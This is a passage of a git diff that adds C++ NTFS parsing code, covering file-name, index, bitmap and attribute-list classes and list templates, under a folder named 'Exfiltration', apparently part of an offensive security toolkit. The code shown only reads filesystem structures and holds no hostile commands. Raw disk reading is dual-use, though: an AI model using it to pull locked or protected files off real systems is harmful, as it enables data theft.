GetFileNameWUC(); + +public: + int Compare(const wchar_t *fn) const; + int Compare(const char *fn) const; + + __inline ULONGLONG GetFileSize() const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + int GetFileName(char *buf, DWORD bufLen) const; + int GetFileName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL HasName() const; + __inline BOOL IsWin32Name() const; + + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; +}; // CFileName + +CFileName::CFileName(ATTR_FILE_NAME *fn) +{ + IsCopy = FALSE; + + FileName = fn; + + FileNameWUC = NULL; + FileNameLength = 0; + + if (fn) + GetFileNameWUC(); +} + +CFileName::~CFileName() +{ + if (FileNameWUC) + delete FileNameWUC; +} + +__inline void CFileName::SetFileName(ATTR_FILE_NAME *fn) +{ + FileName = fn; + + GetFileNameWUC(); +} + +// Copy pointer buffers +void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn) +{ + if (!IsCopy) + { + NTFS_TRACE("Cannot call this routine\n"); + return; + } + + _ASSERT(fn && afn); + + NTFS_TRACE("FileName Copied\n"); + + if (FileNameWUC) + delete FileNameWUC; + + FileNameLength = fn->FileNameLength; + FileName = afn; + + if (fn->FileNameWUC) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + wcsncpy(FileNameWUC, fn->FileNameWUC, FileNameLength); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + FileNameWUC = NULL; +} + +// Get uppercase unicode filename and store it in a buffer +void CFileName::GetFileNameWUC() +{ +#ifdef _DEBUG + char fna[MAX_PATH]; + GetFileName(fna, MAX_PATH); // Just show filename in debug window +#endif + + if (FileNameWUC) + { + delete FileNameWUC; + FileNameWUC = NULL; + FileNameLength = 0; + } + + wchar_t fns[MAX_PATH]; + FileNameLength = GetFileName(fns, MAX_PATH); + + if (FileNameLength > 0) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + for (int i=0; i<FileNameLength; i++) + FileNameWUC[i] = towupper(fns[i]); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + { + FileNameLength = 0; + FileNameWUC = NULL; + } +} + +// Compare Unicode file name +int CFileName::Compare(const wchar_t *fn) const +{ + // Change fn to upper case + int len = wcslen(fn); + if (len > MAX_PATH) + return 1; // Assume bigger + + wchar_t fns[MAX_PATH]; + + for (int i=0; i<len; i++) + fns[i] = towupper(fn[i]); + fns[len] = wchar_t('\0'); + + return wcscmp(fns, FileNameWUC); +} + +// Compare ANSI file name +int CFileName::Compare(const char *fn) const +{ + wchar_t fnw[MAX_PATH]; + + int len = MultiByteToWideChar(CP_ACP, 0, fn, -1, fnw, MAX_PATH); + if (len) + return Compare(fnw); + else + return 1; // Assume bigger +} + +__inline ULONGLONG CFileName::GetFileSize() const +{ + return FileName ? FileName->RealSize : 0; +} + +__inline DWORD CFileName::GetFilePermission() const +{ + return FileName ? FileName->Flags : 0; +} + +__inline BOOL CFileName::IsReadOnly() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_READONLY) : FALSE; +} + +__inline BOOL CFileName::IsHidden() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_HIDDEN) : FALSE; +} + +__inline BOOL CFileName::IsSystem() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SYSTEM) : FALSE; +} + +__inline BOOL CFileName::IsDirectory() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_DIRECTORY) : FALSE; +} + +__inline BOOL CFileName::IsCompressed() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_COMPRESSED) : FALSE; +} + +__inline BOOL CFileName::IsEncrypted() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_ENCRYPTED) : FALSE; +} + +__inline BOOL CFileName::IsSparse() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SPARSE) : FALSE; +} + +// Get ANSI File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(char *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + int len = 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + len = WideCharToMultiByte(CP_ACP, 0, (wchar_t*)FileName->Name, FileName->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("File Name: %s\n", buf); + NTFS_TRACE4("File Permission: %s\t%c%c%c\n", IsDirectory()?"Directory":"File", + IsReadOnly()?'R':' ', IsHidden()?'H':' ', IsSystem()?'S':' '); + } + else + { + NTFS_TRACE("Unrecognized File Name or FileName buffer too small\n"); + } + } + + return len; +} + +// Get Unicode File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(wchar_t *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + bufLen = FileName->NameLength; + wcsncpy(buf, (wchar_t*)FileName->Name, bufLen); + buf[bufLen] = wchar_t('\0'); + + return bufLen; + } + + return 0; +} + +__inline BOOL CFileName::HasName() const +{ + return FileNameLength > 0; +} + +__inline BOOL CFileName::IsWin32Name() const +{ + if (FileName == NULL || FileNameLength <= 0) + return FALSE; + + return (FileName->NameSpace != ATTR_FILENAME_NAMESPACE_DOS); // POSIX, WIN32, WIN32_DOS +} + +// Change from UTC time to local time +void CFileName::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + CAttr_StdInfo::UTC2Local(FileName ? FileName->AlterTime : 0, writeTm); + + if (createTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->CreateTime : 0, createTm); + + if (accessTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->ReadTime : 0, accessTm); +} + + +//////////////////////////////// +// Attribute: File Name +//////////////////////////////// +class CAttr_FileName : public CAttrResident, public CFileName +{ +public: + CAttr_FileName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: File Name\n"); + + SetFileName((ATTR_FILE_NAME*)AttrBody); + } + + virtual ~CAttr_FileName() + { + NTFS_TRACE("CAttr_FileName deleted\n"); + } + +private: + // File permission and time in $FILE_NAME only updates when the filename changes + // So hide these functions to prevent user from getting the error information + // Standard Information and IndexEntry keeps the most recent file time and permission infomation + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const {} + __inline DWORD GetFilePermission(){} + __inline BOOL IsReadOnly() const {} + __inline BOOL IsHidden() const {} + __inline BOOL IsSystem() const {} + __inline BOOL IsCompressed() const {} + __inline BOOL IsEncrypted() const {} + __inline BOOL IsSparse() const {} +}; // CAttr_FileName + + +////////////////////////////////// +// Attribute: Volume Information +////////////////////////////////// +class CAttr_VolInfo : public CAttrResident +{ +public: + CAttr_VolInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Information\n"); + + VolInfo = (ATTR_VOLUME_INFORMATION*)AttrBody; + } + + virtual ~CAttr_VolInfo() + { + NTFS_TRACE("CAttr_VolInfo deleted\n"); + } + +private: + const ATTR_VOLUME_INFORMATION *VolInfo; + +public: + // Get NTFS Volume Version + __inline WORD GetVersion() + { + return MAKEWORD(VolInfo->MinorVersion, VolInfo->MajorVersion); + } +}; // CAttr_VolInfo + + +/////////////////////////// +// Attribute: Volume Name +/////////////////////////// +class CAttr_VolName : public CAttrResident +{ +public: + CAttr_VolName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Name\n"); + + NameLength = AttrBodySize >> 1; + VolNameU = new wchar_t[NameLength+1]; + VolNameA = new char[NameLength+1]; + + memcpy(VolNameU, AttrBody, AttrBodySize); + VolNameU[NameLength] = wchar_t('\0'); + + int len = WideCharToMultiByte(CP_ACP, 0, VolNameU, NameLength, + VolNameA, NameLength, NULL, NULL); + VolNameA[NameLength] = '\0'; + } + + virtual ~CAttr_VolName() + { + NTFS_TRACE("CAttr_VolName deleted\n"); + + delete VolNameU; + delete VolNameA; + } + +private: + wchar_t *VolNameU; + char *VolNameA; + DWORD NameLength; + +public: + // Get NTFS Volume Unicode Name + __inline int GetName(wchar_t *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + wcsncpy(buf, VolNameU, NameLength+1); + return NameLength; + } + + // ANSI Name + __inline int GetName(char *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + strncpy(buf, VolNameA, NameLength+1); + return NameLength; + } +}; // CAttr_VolInfo + + +///////////////////////////////////// +// Attribute: Data +///////////////////////////////////// +template <class TYPE_RESIDENT> +class CAttr_Data : public TYPE_RESIDENT +{ +public: + CAttr_Data(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) + { + NTFS_TRACE1("Attribute: Data (%sResident)\n", IsNonResident() ? "Non" : ""); + } + + virtual ~CAttr_Data() + { + NTFS_TRACE("CAttr_Data deleted\n"); + } +}; // CAttr_Data + + +///////////////////////////// +// Index Entry helper class +///////////////////////////// +class CIndexEntry : public CFileName +{ +public: + CIndexEntry() + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = TRUE; + + IndexEntry = NULL; + SetFileName(NULL); + } + + CIndexEntry(const INDEX_ENTRY *ie) + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = FALSE; + + _ASSERT(ie); + IndexEntry = ie; + + if (IsSubNodePtr()) + { + NTFS_TRACE("Points to sub-node\n"); + } + + if (ie->StreamSize) + { + SetFileName((ATTR_FILE_NAME*)(ie->Stream)); + } + else + { + NTFS_TRACE("No FileName stream found\n"); + } + } + + virtual ~CIndexEntry() + { + // Never touch *IndexEntry here if IsCopy == FALSE ! + // As the memory have been deallocated by ~CIndexBlock() + + if (IsCopy && IndexEntry) + delete (void*)IndexEntry; + + NTFS_TRACE("CIndexEntry deleted\n"); + } + +private: + BOOL IsDefault; + +protected: + const INDEX_ENTRY *IndexEntry; + +public: + // Use with caution ! + CIndexEntry& operator = (const CIndexEntry &ieClass) + { + if (!IsDefault) + { + NTFS_TRACE("Cannot call this routine\n"); + return *this; + } + + NTFS_TRACE("Index Entry Copied\n"); + + IsCopy = TRUE; + + if (IndexEntry) + { + delete (void*)IndexEntry; + IndexEntry = NULL; + } + + const INDEX_ENTRY *ie = ieClass.IndexEntry; + _ASSERT(ie && (ie->Size > 0)); + + IndexEntry = (INDEX_ENTRY*)new BYTE[ie->Size]; + memcpy((void*)IndexEntry, ie, ie->Size); + CopyFileName(&ieClass, (ATTR_FILE_NAME*)(IndexEntry->Stream)); + + return *this; + } + + __inline ULONGLONG GetFileReference() const + { + if (IndexEntry) + return IndexEntry->FileReference & 0x0000FFFFFFFFFFFFUL; + else + return (ULONGLONG)-1; + } + + __inline BOOL IsSubNodePtr() const + { + if (IndexEntry) + return (IndexEntry->Flags & INDEX_ENTRY_FLAG_SUBNODE); + else + return FALSE; + } + + __inline ULONGLONG GetSubNodeVCN() const + { + if (IndexEntry) + return *(ULONGLONG*)((BYTE*)IndexEntry + IndexEntry->Size - 8); + else + return (ULONGLONG)-1; + } +}; // CIndexEntry + + +/////////////////////////////// +// Index Block helper class +/////////////////////////////// +class CIndexBlock : public CIndexEntryList +{ +public: + CIndexBlock() + { + NTFS_TRACE("Index Block\n"); + + IndexBlock = NULL; + } + + virtual ~CIndexBlock() + { + NTFS_TRACE("IndexBlock deleted\n"); + + if (IndexBlock) + delete IndexBlock; + } + +private: + INDEX_BLOCK *IndexBlock; + +public: + INDEX_BLOCK *AllocIndexBlock(DWORD size) + { + // Free previous data if any + if (GetCount() > 0) + RemoveAll(); + if (IndexBlock) + delete IndexBlock; + + IndexBlock = (INDEX_BLOCK*)new BYTE[size]; + + return IndexBlock; + } +}; // CIndexBlock + + +///////////////////////////////////// +// Attribute: Index Root (Resident) +///////////////////////////////////// +class CAttr_IndexRoot : public CAttrResident, public CIndexEntryList +{ +public: + CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexRoot(); + +private: + const ATTR_INDEX_ROOT *IndexRoot; + + void ParseIndexEntries(); + +public: + __inline BOOL IsFileName() const; +}; // CAttr_IndexRoot + +CAttr_IndexRoot::CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr): CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Root\n"); + + IndexRoot = (ATTR_INDEX_ROOT*)AttrBody; + + if (IsFileName()) + { + ParseIndexEntries(); + } + else + { + NTFS_TRACE("Index View not supported\n"); + } +} + +CAttr_IndexRoot::~CAttr_IndexRoot() +{ + NTFS_TRACE("CAttr_IndexRoot deleted\n"); +} + +// Get all the index entries +void CAttr_IndexRoot::ParseIndexEntries() +{ + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(IndexRoot->EntryOffset)) + IndexRoot->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= IndexRoot->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } +} + +// Check if this IndexRoot contains FileName or IndexView +__inline BOOL CAttr_IndexRoot::IsFileName() const +{ + return (IndexRoot->AttrType == ATTR_TYPE_FILE_NAME); +} + + +///////////////////////////////////////////// +// Attribute: Index Allocation (NonResident) +///////////////////////////////////////////// +class CAttr_IndexAlloc : public CAttrNonResident +{ +public: + CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexAlloc(); + +private: + ULONGLONG IndexBlockCount; + + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + +public: + __inline ULONGLONG GetIndexBlockCount(); + BOOL ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass); +}; // CAttr_IndexAlloc + +CAttr_IndexAlloc::CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrNonResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Allocation\n"); + + IndexBlockCount = 0; + + if (IsDataRunOK()) + { + // Get total number of Index Blocks + ULONGLONG ibTotalSize; + ibTotalSize = GetDataSize(); + if (ibTotalSize % _IndexBlockSize) + { + NTFS_TRACE2("Cannot calulate number of IndexBlocks, total size = %I64u, unit = %u\n", + ibTotalSize, _IndexBlockSize); + return; + } + IndexBlockCount = ibTotalSize / _IndexBlockSize; + } + else + { + NTFS_TRACE("Index Allocation DataRun parse error\n"); + } +} + +CAttr_IndexAlloc::~CAttr_IndexAlloc() +{ + NTFS_TRACE("CAttr_IndexAlloc deleted\n"); +} + +// Verify US and update sectors +BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i<sectors; i++) + { + sector += ((_SectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +__inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount() +{ + return IndexBlockCount; +} + +// Parse a single Index Block +// vcn = Index Block VCN in Index Allocation Data Attributes +// ibClass holds the parsed Index Entries +BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass) +{ + if (vcn >= IndexBlockCount) // Bounds check + return FALSE; + + // Allocate buffer for a single Index Block + INDEX_BLOCK *ibBuf = ibClass.AllocIndexBlock(_IndexBlockSize); + + // Sectors Per Index Block + DWORD sectors = _IndexBlockSize / _SectorSize; + + // Read one Index Block + DWORD len; + if (ReadData(vcn*_IndexBlockSize, ibBuf, _IndexBlockSize, &len) && + len == _IndexBlockSize) + { + if (ibBuf->Magic != INDEX_BLOCK_MAGIC) + { + NTFS_TRACE("Index Block parse error: Magic mismatch\n"); + return FALSE; + } + + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)ibBuf + ibBuf->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (!PatchUS((WORD*)ibBuf, sectors, usn, usarray)) + { + NTFS_TRACE("Index Block parse error: Update Sequence Number\n"); + return FALSE; + } + + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(ibBuf->EntryOffset)) + ibBuf->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= ibBuf->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + ibClass.InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } + + return TRUE; + } + else + return FALSE; +} + + +//////////////////////////////////////////// +// Attribute: Bitmap +//////////////////////////////////////////// +template <class TYPE_RESIDENT> +class CAttr_Bitmap : public TYPE_RESIDENT +{ +public: + CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_Bitmap(); + +private: + ULONGLONG BitmapSize; // Bitmap data size + BYTE *BitmapBuf; // Bitmap data buffer + LONGLONG CurrentCluster; + +public: + BOOL IsClusterFree(const ULONGLONG &cluster) const; +}; // CAttr_Bitmap + +template <class TYPE_RESIDENT> +CAttr_Bitmap<TYPE_RESIDENT>::CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE1("Attribute: Bitmap (%sResident)\n", IsNonResident() ? "Non" : ""); + + CurrentCluster = -1; + + if (IsDataRunOK()) + { + BitmapSize = GetDataSize(); + + if (IsNonResident()) + BitmapBuf = new BYTE[_ClusterSize]; + else + { + BitmapBuf = new BYTE[(DWORD)BitmapSize]; + + DWORD len; + if (!(ReadData(0, BitmapBuf, (DWORD)BitmapSize, &len) + && len == (DWORD)BitmapSize)) + { + BitmapBuf = NULL; + NTFS_TRACE("Read Resident Bitmap data failed\n"); + } + else + { + NTFS_TRACE1("%u bytes of resident Bitmap data read\n", len); + } + } + } + else + { + BitmapSize = 0; + BitmapBuf = 0; + } +} + +template <class TYPE_RESIDENT> +CAttr_Bitmap<TYPE_RESIDENT>::~CAttr_Bitmap() +{ + if (BitmapBuf) + delete BitmapBuf; + + NTFS_TRACE("CAttr_Bitmap deleted\n"); +} + +// Verify if a single cluster is free +template <class TYPE_RESIDENT> +BOOL CAttr_Bitmap<TYPE_RESIDENT>::IsClusterFree(const ULONGLONG &cluster) const +{ + if (!IsDataRunOK() || !BitmapBuf) + return FALSE; + + if (IsNonResident()) + { + LONGLONG idx = (LONGLONG)cluster >> 3; + DWORD clusterSize = ((CNTFSVolume*)Volume)->GetClusterSize(); + + LONGLONG clusterOffset = idx/clusterSize; + cluster -= (clusterOffset*clusterSize*8); + + // Read one cluster of data if buffer mismatch + if (CurrentCluster != clusterOffset) + { + DWORD len; + if (ReadData(clusterOffset, BitmapBuf, clusterSize, &len) && len == clusterSize) + { + CurrentCluster = clusterOffset; + } + else + { + CurrentCluster = -1; + return FALSE; + } + } + } + + // All the Bitmap data is already in BitmapBuf + DWORD idx = (DWORD)(cluster >> 3); + if (IsNonResident() == FALSE) + { + if (idx >= BitmapSize) + return TRUE; // Resident data bounds check error + } + + BYTE fac = (BYTE)(cluster % 8); + + return ((BitmapBuf[idx] & (1<<fac)) == 0); +} + + +//////////////////////////////////////////// +// List to hold external File Records +//////////////////////////////////////////// +typedef CSList<CFileRecord> CFileRecordList; + +//////////////////////////////////////////// +// Attribute: Attribute List +//////////////////////////////////////////// +template <class TYPE_RESIDENT> +class CAttr_AttrList : public TYPE_RESIDENT +{ +public: + CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_AttrList(); + +private: + CFileRecordList FileRecordList; +}; // CAttr_AttrList + +template <class TYPE_RESIDENT> +CAttr_AttrList<TYPE_RESIDENT>::CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE("Attribute: Attribute List\n"); + if (fr->FileReference == (ULONGLONG)-1) + return; + + ULONGLONG offset = 0; + DWORD len; + ATTR_ATTRIBUTE_LIST alRecord; + + while (ReadData(offset, &alRecord, sizeof(ATTR_ATTRIBUTE_LIST), &len) && + len == sizeof(ATTR_ATTRIBUTE_LIST)) + { + if (ATTR_INDEX(alRecord.AttrType) > ATTR_NUMS) + { + NTFS_TRACE("Attribute List parse error1\n"); + break; + } + + NTFS_TRACE1("Attribute List: 0x%04x\n", alRecord.AttrType); + + ULONGLONG recordRef = alRecord.BaseRef & 0x0000FFFFFFFFFFFFUL; + if (recordRef != fr->FileReference) // Skip contained attributes + { + DWORD am = ATTR_MASK(alRecord.AttrType); + if (am & fr->AttrMask) // Skip unwanted attributes + { + CFileRecord *frnew = new CFileRecord(fr->Volume); + FileRecordList.InsertEntry(frnew); + + frnew->AttrMask = am; + if (!frnew->ParseFileRecord(recordRef)) + { + NTFS_TRACE("Attribute List parse error2\n"); + break; + } + frnew->ParseAttrs(); + + // Insert new found AttrList to fr->AttrList + const CAttrBase *ab = (CAttrBase*)frnew->FindFirstAttr(alRecord.AttrType); + while (ab) + { + CAttrList *al = (CAttrList*)&fr->AttrList[ATTR_INDEX(alRecord.AttrType)]; + al->InsertEntry((CAttrBase*)ab); + ab = frnew->FindNextAttr(alRecord.AttrType); + } + + // Throw away frnew->AttrList entries to prevent free twice (fr will delete them) + frnew->AttrList[ATTR_INDEX(alRecord.AttrType)].ThrowAll(); + } + } + + offset += alRecord.RecordSize; + } +} + +template <class TYPE_RESIDENT> +CAttr_AttrList<TYPE_RESIDENT>::~CAttr_AttrList() +{ + NTFS_TRACE("CAttr_AttrList deleted\n"); +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h new file mode 100644 index 0000000..b7c2813 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h @@ -0,0 +1,317 @@ +/* + * NTFS Class common definitions + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_COMMON_H_CYB70289 +#define __NTFS_COMMON_H_CYB70289 + +#include <windows.h> +#include <stdio.h> +#include <tchar.h> +#include <crtdbg.h> + +#include "NTFS_DataType.h" + +#define ATTR_NUMS 16 // Attribute Types count +#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2 +#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask + +// Bit masks of Attributes +#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION) +#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST) +#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME) +#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID) +#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR) +#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME) +#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION) +#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA) +#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT) +#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION) +#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP) +#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT) +#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION) +#define MASK_EA ATTR_MASK(ATTR_TYPE_EA) +#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM) + +#define MASK_ALL ((DWORD)-1) + +#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1) +#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2) +#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3) +#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4) +#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5) + +// User defined Callback routines to process raw attribute data +// Set bDiscard to TRUE if this Attribute is to be discarded +// Set bDiscard to FALSE to let CFileRecord process it +typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard); + +// User defined Callback routine to handle CFileRecord parsed attributes +// Will be called by CFileRecord::TraverseAttrs() for each attribute +// attrClass is the according attribute's wrapping class, CAttr_xxx +// Set bStop to TRUE if don't want to continue +// Set bStop to FALSE to continue processing +class CAttrBase; +typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop); + +// User defined Callback routine to handle Directory traversing +// Will be called by CFileRecord::TraverseSubEntries for each sub entry +class CIndexEntry; +typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie); + + +// List Entry +template <class ENTRY_TYPE> +struct NTSLIST_ENTRY +{ + NTSLIST_ENTRY *Next; + ENTRY_TYPE *Entry; +}; + +// List Entry Smart Pointer +template <class ENTRY_TYPE> +class CEntrySmartPtr +{ +public: + CEntrySmartPtr(ENTRY_TYPE *ptr = NULL) + { + EntryPtr = ptr; + } + + virtual ~CEntrySmartPtr() + { + if (EntryPtr) + delete EntryPtr; + } + +private: + const ENTRY_TYPE *EntryPtr; + +public: + __inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr) + { + // Delete previous pointer if allocated + if (EntryPtr) + delete EntryPtr; + + EntryPtr = ptr; + + return *this; + } + + __inline const ENTRY_TYPE* operator->() const + { + _ASSERT(EntryPtr); + return EntryPtr; + } + + __inline BOOL IsValid() const + { + return EntryPtr != NULL; + } +}; + +////////////////////////////////////// +// Single list implementation +////////////////////////////////////// +template <class ENTRY_TYPE> +class CSList +{ +public: + CSList() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + virtual ~CSList() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY<ENTRY_TYPE> *ListHead; + NTSLIST_ENTRY<ENTRY_TYPE> *ListTail; + NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to tail + BOOL InsertEntry(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = NULL; + + if (ListTail == NULL) + ListHead = le; // Empty list + else + ListTail->Next = le; + + ListTail = le; + + EntryCount++; + return TRUE; + } + + // Remove all entries + void RemoveAll() + { + while (ListHead) + { + ListCurrent = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = ListCurrent; + } + + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + // Find first entry + __inline ENTRY_TYPE *FindFirstEntry() const + { + ((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Find next entry + __inline ENTRY_TYPE *FindNextEntry() const + { + if (ListCurrent) + ((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Throw all entries + // Caution! All entries are just thrown without free + __inline void ThrowAll() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } +}; //CSList + + +////////////////////////////////////// +// Stack implementation +////////////////////////////////////// +template <class ENTRY_TYPE> +class CStack +{ +public: + CStack() + { + ListHead = ListTail = NULL; + EntryCount = 0; + } + + virtual ~CStack() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY<ENTRY_TYPE> *ListHead; + NTSLIST_ENTRY<ENTRY_TYPE> *ListTail; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to head + BOOL Push(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = 